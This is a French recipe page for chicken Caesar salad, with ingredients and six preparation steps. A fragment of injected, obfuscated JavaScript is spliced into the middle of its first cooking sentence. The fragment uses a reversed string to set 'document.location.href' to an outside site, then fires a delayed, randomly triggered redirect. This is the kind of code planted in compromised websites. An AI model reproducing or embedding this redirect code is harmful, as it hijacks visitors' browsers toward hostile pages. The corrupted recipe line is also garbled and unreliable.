Salade de poulet césar
2018-02-11Avec un pinceau badigeonnez d’huile de soja, les escalopes de poulet. Passez sous le gril du four pendant 8 minutes en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant souvent. Salez, poivrez.
Ingrédients
- Pour 4 personnes
- 4 escalopes de poulet coupées en lamelles
- 4 tranches de pain de campagne
- 1 gousse d'ail
- 40 g de parmesan râpé
- Pour la sauce :
- 1 cuillère à café de moutarde
- 1 jaune d'œuf
- 8 cl d'huile de soja
- 1 cuillère à café de jus de citron
- 1 cuillère à soupe de sauce anglaise Worcestershire
- Très peu de sel et poivre
Préparation de la recette
Etape 1
Avec un pinceau badigeonnez d'huile de soja, les escalopes de poulet.
Etape 2
Passez sous le gril du four pendant 8 minutes en les retournant souvent. Salez, poivrez.
Etape 3
Grillez les tranches de pain de campagne, les frotter avec la gousse d'ail.
Etape 4
Dans un mixeur incorporez la moutarde, le jaune d'œuf, l'huile, le jus de citron, de soja, et la sauce Worcestershire.
Etape 5
Lavez, essorez la salade, déposez la dans un plat creux, les lamelles de poulet.
Etape 6
Parsemez de parmesan, arrosez de sauce. Mélangez et dégustez.
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